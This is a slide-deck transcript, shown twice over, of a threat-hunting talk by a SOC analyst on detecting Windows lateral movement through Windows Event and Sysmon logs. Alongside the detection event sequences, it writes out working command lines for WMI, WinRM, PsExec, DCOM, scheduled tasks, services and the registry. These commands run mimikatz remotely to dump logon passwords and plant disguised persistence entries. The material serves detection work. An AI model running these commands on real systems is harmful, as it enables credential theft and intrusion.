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Hunting Lateral Movement in Windows Infrastructure

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Sergey Soldatov
Sergey Soldatov

The document discusses various techniques attackers can use to launch executables remotely on Windows systems by leveraging compromised credentials and built-in OS functionality. It describes how to detect remotely launched executables using Windows Event and Sysmon logs. Specific techniques covered include remote file copy over SMB, remote execution via WMI, WinRM, Powershell Remoting, scheduled tasks, services, the registry, and WMI subscriptions. The document provides the event sequences and most interesting events to look for when hunting for evidence of each technique.

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Hunting Lateral Movement in Windows Infrastructure Teymur Kheirkhabarov
Who Am I • Senior SOC Analyst @Kaspersky Lab • SibSAU (Krasnoyarsk) graduate • Ex- Infosec dept. head • Ex- Infosec admin • Ex- System admin • Twitter @HeirhabarovT • www.linkedin.com/in/teymur-kheirkhabarov-73490867/
What we’re going to talk about • Different ways to launch executables remotely by using compromised credentials and operating system functionality; • How to detect remotely launched executables with Windows Event and Sysmon logs.
Remote file copy over SMB • Copy to autostart locations for execution on login or boot • Copy to different locations for further execution via WMI, WinRM, Powershell Remoting, Task Scheduler, Service… • Programmatically • Using Explorer • Using standard console tools: • robocopy C:tools pc0002ADMIN$userspublic mimikatz.exe • powershell Copy-Item -Path mimikatz.exe -Destination pc0002C$userspublic • cmd /c "copy mimikatz.exe pc0002C$userspublic" • xcopy mimikatz.exe pc0002C$ProgramDataMicrosoftWindowsStart MenuProgramsStartup How • TCP/455 port is accessible on remote host • Administrative shares are enabled on remote host Requirements & limitations
Remote File Copy over SMB – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. Administrative share access (Windows EID 5140/5145) E4. File object access with WriteData or AddFile rights (Windows EID 4663) – if audit and SACL were configured
Remote File Copy over SMB – the most interesting events
Hunting: search for administrative shares connections
Windows File Auditing https://www.malwarearchaeology.com/s/Windows- File-Auditing-Cheat-Sheet-ver-Oct-2016.pdf
Hunting: search for file creation/changes in autostart locations
Remote execution via WMI • Programmatically • Using standard tools: • wmic /node:pc0002 process call create "cmd /c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicresult.txt" • powershell Invoke-WmiMethod -ComputerName pc0002 -Class Win32_Process - Name Create -ArgumentList '"cmd /c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicresult.txt"' • powershell -command "&{$process = [WMICLASS]'pc0002ROOTCIMV2:win32_process'; $process.Create('calc.exe'); }" • powershell -command "&{$process = get-wmiobject -query 'SELECT * FROM Meta_Class WHERE __Class = "Win32_Process"' -namespace 'rootcimv2' - computername pc0002; $process.Create( 'notepad.exe' );}" How • TCP/135 port is accessible on remote host • RPC dynamic port range is accessible on remote host Requirements & limitations
Remote execution via WMI – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. WmiPrvSE.exe starts payload file (Sysmon EID 1)
Remote execution via WMI – the most interesting events
Remote execution via WinRM • Programmatically • Using Windows Remote Shell (WinRS) tool: • winrs -r:pc0002.test.local C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit • winrs -r:pc0002.test.local -u:dadmin C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit How • WinRM is enabled on remote host (disabled by default on client Windows versions) • TCP/5985 (TCP/5986) port is accessible on remote host Requirements & limitations
Remote execution via WinRM – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. svchost.exe starts WinrsHost.exe (Sysmon EID 1) E4. WinrsHost.exe starts payload file (Sysmon EID 1)
Remote execution via WinRM – the most interesting events
Remote execution via Powershell Remoting • Powershell scripts • Powershell Invoke-Command cmdlet: • powershell Invoke-Command -ComputerName pc0002.test.local -ScriptBlock {cmd /c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicpc0002_mimikatz_output.txt } • powershell Invoke-Command -ComputerName pc0002.test.local -credential TESTdadmin -ScriptBlock {cmd /c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicpc0002_mimikatz_output.txt } How • WinRM is enabled on remote host (disabled by default on client Windows versions) • TCP/5985 (TCP/5986) port is accessible on remote host Requirements & limitations
Remote execution via Powershell Remoting – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. svchost.exe starts wsmprovhost.exe (Sysmon EID 1) E4. wsmprovhost.exe starts payload file (Sysmon EID 1)
Remote execution via Powershell Remoting – the most interesting events
Remote execution via MMC20.Application COM How • Programmatically • Using powershell: powershell -command "&{$com=[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Appli cation','pc0002.test.local')); $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,'/c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicpc0002_mimikatz_output.txt','7')}" Requirements & limitations • TCP/135 port is accessible on remote host • RPC dynamic port range is accessible on remote host https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. svchost.exe starts mmc.exe (Sysmon EID 1) E4. mmc.exe starts payload file (Sysmon EID 1) Remote execution via MMC20.Application COM – events sequence on destination side
Remote execution via MMC20.Application COM – the most interesting events
Remote execution via PsExec (& clones, e.g. PaExec) • PsExex: • psexec.exe pc0002 -c mimikatz.exe privilege::debug sekurlsa::logonpasswords exit • PaExec: • paexec.exe pc0002 -c mimikatz.exe privilege::debug sekurlsa::logonpasswords exit How • ADMIN$ administrative share is enabled on remote host • TCP/445 port is accessible on remote host Requirements & limitations
E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. Copying PSEXESVC.exe to ADMIN$ (Windows EID 5140/5145) E4. psexesvc service is installed and started (Windows EID 7045/7036) Remote execution via PsExec (& clones) – events sequence on destination side E5. psexesvc.exe is started by services.exe (Sysmon EID 1) E6. psexesvc.exe starts payload file (Sysmon EID 1) E7. Interaction with payload stdin/stdout/stderr via SMB pipes (Windows EID 5145)
Remote execution via PsExec (& clones) – the most interesting events
Hunting: search for PsExec (& clones) artifacts – services
Hunting: search for PsExec (& clones) artifacts – access to pipes
Remote execution via PsExec (& clones) – the most interesting events
Hunting: search for executions in network logon sessions (WinRM, WMI, PsExec, Powershell Remoting, MMC20 COM)
Remote execution via ShellWindows COM How • Programmatically • Using powershell: powershell -command "&{$obj = [activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF- A442-00A0C90A8F39','pc0002')); $obj.item().Document.Application.ShellExecute('cmd.exe','/c calc.exe','C:WindowsSystem32',$null,0)}" Requirements & limitations • TCP/135 port is accessible on remote host • RPC dynamic port range is accessible on remote host https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Remote execution via ShellBrowserWindow COM How • Programmatically • Using powershell: powershell -command "&{$obj = [activator]::CreateInstance([Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1- 8455-00A0C91F3880','pc0002')); $obj.Document.Application.ShellExecute('cmd.exe','/c calc.exe','C:WindowsSystem32',$null,0)}" Requirements & limitations • TCP/135 port is accessible on remote host • RPC dynamic port range is accessible on remote host • Doesn’t work for Windows 7 destination https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) Remote execution via ShellWindows or ShellBrowserWindow COM – events sequence on destination side E3. explorer.exe starts payload file in current session (Sysmon EID 1)
Remote execution via via ShellWindows or ShellBrowserWindow COM – how to detect??? Payload file is executed in the session of the current active user
Remote execution via Scheduled Tasks • Programmatically • Standard command line tools: • at 172.16.205.14 3:55 C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> win_mimikatz_output.txt • schtasks /create /S pc0002 /SC ONCE /ST 00:57:00 /TN "Adobe Update" /TR "cmd.exe /c C:userspublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicresult.txt" How • TCP/135 port and RPC dynamic port range are accessible on remote host (in case of Schtasks usage) • TCP/445 port is accessible on remote host (in case of AT usage) Requirements & limitations
Remote execution via Scheduled Tasks – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. Access to atsvc SMB Pipe (Windows EID 5145) – in case of at.exe usage E6. taskeng.exe starts payload file (Sysmon EID 1) E4. Scheduled task is created or updated (Windows EID 4698/4702) E5. Task is triggered. svchost.exe starts taskeng.exe (Sysmon EID 1) Also there are some interesting event in Microsoft-Windows-TaskScheduler/Operational event log
Remote execution via Scheduled Tasks – the most interesting events
Hunting: search for remotely created or updated scheduler tasks
Remote execution via Scheduled Tasks – the most interesting events
Hunting: search for ATSVC pipe connections
Remote execution via Services • Programmatically • Standard command line tool: • sc pc0002 create "Remote service" binPath= "cmd /c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicresult.txt" sc pc0002 start "Remote service" sc pc0002 delete »Remote service" How • TCP/135 port is accessible on remote host • RPC dynamic port range is accessible on remote host Requirements & limitations
Remote execution via Services – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. New service is installed (Windows EID 7045/4697) E4. Start command is sent to installed service. services.exe starts payload file (Sysmon EID 1) E5. A timeout is reached (Windows EID 7009) E6. Failure while trying to start service (Windows EID 7000)
Remote execution via Services – the most interesting events
Hunting: search for remotely created services
Remote registry How • Programmatically • Using powershell or reg: • reg add pc0002HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /f /v GoogleUpdater /t REG_SZ /d "cmd /c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicresult.txt" • powershell -command "&{$reg=[Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey("LocalMachin e", "pc0002"); $key=$reg.OpenSubKey("SOFTWAREMicrosoftWindowsCurrentVersionRu n",$True); $key.SetValue("GoogleUpdater","calc.exe");}" Requirements & limitations • TCP/445 port is accessible on remote host • Remote Registry service is enabled on remote host
Remote registry – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. WINREG pipe access (Windows EID 5145) E4. Registry value is modified (Windows EID 4657) – if audit and SACL were configured
Remote Registry – the most interesting events
Hunting: search for WINREG pipe connections
Windows Registry Auditing https://www.malwarearchaeology.com/s/Windows- Registry-Auditing-Cheat-Sheet-ver-Oct-2016.pdf
Hunting: search for changes in autostart registry keys
Remote WMI subscriptions creation
Remote WMI subscriptions creation – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. Writing to WMI Namespace (Windows EID 4662) – if audit and SACL were configured
WMI Namespaces Auditing
Remote WMI subscriptions creation – the most interesting events

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Hunting Lateral Movement in Windows Infrastructure

  • 1. Hunting Lateral Movement in Windows Infrastructure Teymur Kheirkhabarov
  • 2. Who Am I • Senior SOC Analyst @Kaspersky Lab • SibSAU (Krasnoyarsk) graduate • Ex- Infosec dept. head • Ex- Infosec admin • Ex- System admin • Twitter @HeirhabarovT • www.linkedin.com/in/teymur-kheirkhabarov-73490867/
  • 3. What we’re going to talk about • Different ways to launch executables remotely by using compromised credentials and operating system functionality; • How to detect remotely launched executables with Windows Event and Sysmon logs.
  • 4. Remote file copy over SMB • Copy to autostart locations for execution on login or boot • Copy to different locations for further execution via WMI, WinRM, Powershell Remoting, Task Scheduler, Service… • Programmatically • Using Explorer • Using standard console tools: • robocopy C:tools pc0002ADMIN$userspublic mimikatz.exe • powershell Copy-Item -Path mimikatz.exe -Destination pc0002C$userspublic • cmd /c "copy mimikatz.exe pc0002C$userspublic" • xcopy mimikatz.exe pc0002C$ProgramDataMicrosoftWindowsStart MenuProgramsStartup How • TCP/455 port is accessible on remote host • Administrative shares are enabled on remote host Requirements & limitations
  • 5. Remote File Copy over SMB – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. Administrative share access (Windows EID 5140/5145) E4. File object access with WriteData or AddFile rights (Windows EID 4663) – if audit and SACL were configured
  • 6. Remote File Copy over SMB – the most interesting events
  • 7. Hunting: search for administrative shares connections
  • 9. Hunting: search for file creation/changes in autostart locations
  • 10. Remote execution via WMI • Programmatically • Using standard tools: • wmic /node:pc0002 process call create "cmd /c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicresult.txt" • powershell Invoke-WmiMethod -ComputerName pc0002 -Class Win32_Process - Name Create -ArgumentList '"cmd /c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicresult.txt"' • powershell -command "&{$process = [WMICLASS]'pc0002ROOTCIMV2:win32_process'; $process.Create('calc.exe'); }" • powershell -command "&{$process = get-wmiobject -query 'SELECT * FROM Meta_Class WHERE __Class = "Win32_Process"' -namespace 'rootcimv2' - computername pc0002; $process.Create( 'notepad.exe' );}" How • TCP/135 port is accessible on remote host • RPC dynamic port range is accessible on remote host Requirements & limitations
  • 11. Remote execution via WMI – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. WmiPrvSE.exe starts payload file (Sysmon EID 1)
  • 12. Remote execution via WMI – the most interesting events
  • 13. Remote execution via WinRM • Programmatically • Using Windows Remote Shell (WinRS) tool: • winrs -r:pc0002.test.local C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit • winrs -r:pc0002.test.local -u:dadmin C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit How • WinRM is enabled on remote host (disabled by default on client Windows versions) • TCP/5985 (TCP/5986) port is accessible on remote host Requirements & limitations
  • 14. Remote execution via WinRM – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. svchost.exe starts WinrsHost.exe (Sysmon EID 1) E4. WinrsHost.exe starts payload file (Sysmon EID 1)
  • 15. Remote execution via WinRM – the most interesting events
  • 16. Remote execution via Powershell Remoting • Powershell scripts • Powershell Invoke-Command cmdlet: • powershell Invoke-Command -ComputerName pc0002.test.local -ScriptBlock {cmd /c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicpc0002_mimikatz_output.txt } • powershell Invoke-Command -ComputerName pc0002.test.local -credential TESTdadmin -ScriptBlock {cmd /c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicpc0002_mimikatz_output.txt } How • WinRM is enabled on remote host (disabled by default on client Windows versions) • TCP/5985 (TCP/5986) port is accessible on remote host Requirements & limitations
  • 17. Remote execution via Powershell Remoting – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. svchost.exe starts wsmprovhost.exe (Sysmon EID 1) E4. wsmprovhost.exe starts payload file (Sysmon EID 1)
  • 18. Remote execution via Powershell Remoting – the most interesting events
  • 19. Remote execution via MMC20.Application COM How • Programmatically • Using powershell: powershell -command "&{$com=[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Appli cation','pc0002.test.local')); $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,'/c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicpc0002_mimikatz_output.txt','7')}" Requirements & limitations • TCP/135 port is accessible on remote host • RPC dynamic port range is accessible on remote host https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
  • 20. E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. svchost.exe starts mmc.exe (Sysmon EID 1) E4. mmc.exe starts payload file (Sysmon EID 1) Remote execution via MMC20.Application COM – events sequence on destination side
  • 21. Remote execution via MMC20.Application COM – the most interesting events
  • 22. Remote execution via PsExec (& clones, e.g. PaExec) • PsExex: • psexec.exe pc0002 -c mimikatz.exe privilege::debug sekurlsa::logonpasswords exit • PaExec: • paexec.exe pc0002 -c mimikatz.exe privilege::debug sekurlsa::logonpasswords exit How • ADMIN$ administrative share is enabled on remote host • TCP/445 port is accessible on remote host Requirements & limitations
  • 23. E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. Copying PSEXESVC.exe to ADMIN$ (Windows EID 5140/5145) E4. psexesvc service is installed and started (Windows EID 7045/7036) Remote execution via PsExec (& clones) – events sequence on destination side E5. psexesvc.exe is started by services.exe (Sysmon EID 1) E6. psexesvc.exe starts payload file (Sysmon EID 1) E7. Interaction with payload stdin/stdout/stderr via SMB pipes (Windows EID 5145)
  • 24. Remote execution via PsExec (& clones) – the most interesting events
  • 25. Hunting: search for PsExec (& clones) artifacts – services
  • 26. Hunting: search for PsExec (& clones) artifacts – access to pipes
  • 27. Remote execution via PsExec (& clones) – the most interesting events
  • 28. Hunting: search for executions in network logon sessions (WinRM, WMI, PsExec, Powershell Remoting, MMC20 COM)
  • 29. Remote execution via ShellWindows COM How • Programmatically • Using powershell: powershell -command "&{$obj = [activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF- A442-00A0C90A8F39','pc0002')); $obj.item().Document.Application.ShellExecute('cmd.exe','/c calc.exe','C:WindowsSystem32',$null,0)}" Requirements & limitations • TCP/135 port is accessible on remote host • RPC dynamic port range is accessible on remote host https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
  • 30. Remote execution via ShellBrowserWindow COM How • Programmatically • Using powershell: powershell -command "&{$obj = [activator]::CreateInstance([Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1- 8455-00A0C91F3880','pc0002')); $obj.Document.Application.ShellExecute('cmd.exe','/c calc.exe','C:WindowsSystem32',$null,0)}" Requirements & limitations • TCP/135 port is accessible on remote host • RPC dynamic port range is accessible on remote host • Doesn’t work for Windows 7 destination https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
  • 31. E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) Remote execution via ShellWindows or ShellBrowserWindow COM – events sequence on destination side E3. explorer.exe starts payload file in current session (Sysmon EID 1)
  • 32. Remote execution via via ShellWindows or ShellBrowserWindow COM – how to detect??? Payload file is executed in the session of the current active user
  • 33. Remote execution via Scheduled Tasks • Programmatically • Standard command line tools: • at 172.16.205.14 3:55 C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> win_mimikatz_output.txt • schtasks /create /S pc0002 /SC ONCE /ST 00:57:00 /TN "Adobe Update" /TR "cmd.exe /c C:userspublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicresult.txt" How • TCP/135 port and RPC dynamic port range are accessible on remote host (in case of Schtasks usage) • TCP/445 port is accessible on remote host (in case of AT usage) Requirements & limitations
  • 34. Remote execution via Scheduled Tasks – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. Access to atsvc SMB Pipe (Windows EID 5145) – in case of at.exe usage E6. taskeng.exe starts payload file (Sysmon EID 1) E4. Scheduled task is created or updated (Windows EID 4698/4702) E5. Task is triggered. svchost.exe starts taskeng.exe (Sysmon EID 1) Also there are some interesting event in Microsoft-Windows-TaskScheduler/Operational event log
  • 35. Remote execution via Scheduled Tasks – the most interesting events
  • 36. Hunting: search for remotely created or updated scheduler tasks
  • 37. Remote execution via Scheduled Tasks – the most interesting events
  • 38. Hunting: search for ATSVC pipe connections
  • 39. Remote execution via Services • Programmatically • Standard command line tool: • sc pc0002 create "Remote service" binPath= "cmd /c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicresult.txt" sc pc0002 start "Remote service" sc pc0002 delete »Remote service" How • TCP/135 port is accessible on remote host • RPC dynamic port range is accessible on remote host Requirements & limitations
  • 40. Remote execution via Services – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. New service is installed (Windows EID 7045/4697) E4. Start command is sent to installed service. services.exe starts payload file (Sysmon EID 1) E5. A timeout is reached (Windows EID 7009) E6. Failure while trying to start service (Windows EID 7000)
  • 41. Remote execution via Services – the most interesting events
  • 42. Hunting: search for remotely created services
  • 43. Remote registry How • Programmatically • Using powershell or reg: • reg add pc0002HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /f /v GoogleUpdater /t REG_SZ /d "cmd /c C:UsersPublicmimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> C:UsersPublicresult.txt" • powershell -command "&{$reg=[Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey("LocalMachin e", "pc0002"); $key=$reg.OpenSubKey("SOFTWAREMicrosoftWindowsCurrentVersionRu n",$True); $key.SetValue("GoogleUpdater","calc.exe");}" Requirements & limitations • TCP/445 port is accessible on remote host • Remote Registry service is enabled on remote host
  • 44. Remote registry – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. WINREG pipe access (Windows EID 5145) E4. Registry value is modified (Windows EID 4657) – if audit and SACL were configured
  • 45. Remote Registry – the most interesting events
  • 46. Hunting: search for WINREG pipe connections
  • 48. Hunting: search for changes in autostart registry keys
  • 50. Remote WMI subscriptions creation – events sequence on destination side E2. Special privileges assigned to new logon (Windows EID 4672) E1. Network Logon (Windows EID 4624) E3. Writing to WMI Namespace (Windows EID 4662) – if audit and SACL were configured
  • 52. Remote WMI subscriptions creation – the most interesting events